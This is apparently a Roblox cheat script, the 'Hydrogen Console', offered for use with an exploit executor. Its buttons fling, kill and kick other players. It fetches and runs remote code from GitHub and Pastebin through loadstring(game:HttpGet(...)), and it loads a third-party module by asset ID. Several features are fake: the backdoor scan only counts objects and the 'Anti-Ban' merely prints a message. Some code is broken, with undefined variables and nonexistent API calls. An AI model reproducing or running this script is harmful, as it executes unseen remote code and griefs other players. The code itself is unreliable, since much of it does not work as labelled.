
Key RequiredUniversal

local library = loadstring(game:HttpGet("https://raw.githubusercontent.com/S33dedL0rdzOfficial/Edited/main/Source%20code%20%3D.lua"))()
library.rank = "User"
local Wm = library:Watermark("Status:Online | v" .. library.version .. " | " .. library:GetUsername() .. " | rank: " .. library.rank)
local FpsWm = Wm:AddWatermark("fps: " .. library.fps)
coroutine.wrap(function()
while wait(.75) do
FpsWm:Text("fps: " .. library.fps)
end
end)()
local Notif = library:InitNotifications()
for i = 20,0,-1 do
task.wait(0.05)
local LoadingXSX = Notif:Notify("Running Hydrogen Console.., please wait for the injection finished...", 10, "information") -- notification, alert, error, success, information
end
library.title = "Hydrogen Console"
library:Introduction()
wait(1)
local Init = library:Init()
local Tab1 = Init:NewTab("Console")
local Tab2 = Init:NewTab("Scripts")
local Tab3 = Init:NewTab("Admin Commands")
local Section1 = Tab1:NewSection("Console Exploits")
local Section2 = Tab1:NewSection("Console Scripts")
local Section3 = Tab1:NewSection("Console Command Script Runner")
local Button1 = Tab1:NewButton("Scan Backdoor", function()
local remotes = game:GetDescendants()
if #remotes > 0 then
print("Backdoor Found!")
else
print("No Backdoor found.")
end
end)
local Label1 = Tab1:NewLabel("Scanned remotes will be printed in Roblox Console.", "left")--"left", "center", "right"
local Button2 = Tab1:NewButton("Anti-Ban", function()
print("Anti-ban-On!")
end)
local Textbox1 = Tab1:NewTextbox("Set Speed here.. [medium]", "", "2", "all", "medium", true, false, function(val)
game.Players.LocalPlayer.WalkSpeed = (val)
end)
local Button3 = Tab1:NewButton("K00pgui v102", function()
require(1690758917).Rozx(LocalPlayer)
end)
local Button4 = Tab1:NewButton("John Doe", function()
loadstring(game:HttpGet("https://pastebin.com/QnvR8fgt"))()
end)
local Textbox2 = Tab1:NewTextbox("command script here", "", "2", "all", "medium", true, false, function(val)
end)
local Button5 = Tab1:NewButton("Run command script.", function()
end)
local Textbox3 = Tab1:NewTextbox("Text box 3 [large]", "", "3", "all", "large", true, false, function(val)
end)
local Button6 = Tab1:NewButton("Execute lua Script", function()
end)
----------Tab 2----------
local SSe = Tab2:NewSection("FE Scripts")
local BGG1 = Tab2:NewButton("FE Goner", function()
end)
local BGG2 = Tab2:NewButton("FE Red Guy", function()
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local color = Color3.new(1, 0, 0)
for _, partName in ipairs({"Head", "Torso", "Left Arm", "Right Arm", "Left Leg", "Right Leg"}) do
local part = character:FindFirstChild(partName)
if part and part:IsA("BasePart") then
local partMesh = part:FindFirstChildOfClass("SpecialMesh")
if partMesh then
partMesh.TextureId = ""
end
part.BrickColor = BrickColor.new(color)
end
end
end)
local BGG3 = Tab2:NewButton("FE Grass Man", function()
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local grassMaterial = "rbxassetid://260426079"
for _, part in ipairs(character:GetDescendants()) do
if part:IsA("BasePart") then
local newMaterial = Instance.new("SurfaceAppearance")
newMaterial.Name = "GrassMaterial"
newMaterial.Face = Enum.NormalId.Front
newMaterial.Transparency = 0
newMaterial.Texture = grassMaterial
newMaterial.Parent = part
end
end
end)
local BGG4 = Tab2:NewButton("FE Huge head", function()
local player = game.Players.LocalPlayer
local character = player.Character or player.CharacterAdded:Wait()
local head = character:WaitForChild("Head")
if head then
local remoteEvent = Instance.new("RemoteEvent")
remoteEvent.Name = "ScaleHeadEvent"
remoteEvent.Parent = character
local function scaleHead()
head.Size = Vector3.new(6, 3, 6) -- Scale head to 3 times bigger than a normal block
end
remoteEvent.OnServerEvent:Connect(scaleHead)
end
end)
local LLC = Tab2:NewLabel("{Backdoor Executer Scripts}", "left")
local BBG1 = Tab2:NewButton("Backdoor.exe", function(val)
end)
----------Tab 3----------
local TT1 = Tab3:NewTextbox("Player name here", "", "2", "all", "medium", true, false, function(val)
end)
local Bxx1 = Tab3:NewButton("Fling Player", function()
local function flingPlayer()
local targetPlayer = game.Players:FindFirstChild(TT1.Text)
if targetPlayer then
local humanoid = targetPlayer.Character and targetPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Physics)
humanoid.PlatformStand = true
local bodyVelocity = Instance.new("BodyVelocity", targetPlayer.Character.HumanoidRootPart)
bodyVelocity.Velocity = Vector3.new(0, 100, 0)
bodyVelocity.MaxForce = Vector3.new(0, math.huge, 0)
end
end
end
button.MouseButton1Click:Connect(flingPlayer)
end)
local Bxx2 = Tab3:NewButton("Fling All", function()
local players = game.Players:GetPlayers()
local function flingPlayer(player)
local character = player.Character
if character then
local humanoid = character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Physics)
humanoid.PlatformStand = true
local bodyVelocity = Instance.new("BodyVelocity")
bodyVelocity.Velocity = Vector3.new(0, 100, 0)
bodyVelocity.MaxForce = Vector3.new(0, math.huge, 0)
bodyVelocity.Parent = character.HumanoidRootPart
end
end
end
for _, player in ipairs(players) do
flingPlayer(player)
end
end)
local Bxx3 = Tab3:NewButton("Kill Random", function()
local players = game.Players:GetPlayers()
local randomIndex = math.random(1, #players)
local randomPlayer = players[randomIndex]
local humanoid = randomPlayer.Character and randomPlayer.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.Health = 0
end
end)
local Bxx4 = Tab3:NewButton("Kick Random", function()
local players = game.Players:GetPlayers()
local selfPlayer = game.Players.LocalPlayer
local randomPlayer
repeat
randomPlayer = players[math.random(1, #players)]
until randomPlayer ~= selfPlayer
randomPlayer:Kick("You have been picked by Roblox to kick you out from the game.")
end)
local Bxx5 = Tab3:NewButton("Turn all black", function()
local players = game:GetService("Players"):GetPlayers()
for _, player in ipairs(players) do
local humanoid = player.Character and player.Character:FindFirstChildOfClass("Humanoid")
if humanoid then
humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
for _, bodyColor in ipairs(player.Character:GetDescendantsByType("BodyColors")) do
bodyColor:SetColor("Head", Color3.fromRGB(255, 0, 0))
bodyColor:SetColor("LeftArm", Color3.fromRGB(0, 0, 0))
bodyColor:SetColor("LeftLeg", Color3.fromRGB(0, 0, 0))
bodyColor:SetColor("RightArm", Color3.fromRGB(0, 0, 0))
bodyColor:SetColor("RightLeg", Color3.fromRGB(0, 0, 0))
bodyColor:SetColor("Torso", Color3.fromRGB(0, 0, 0))
end
end
end
end)



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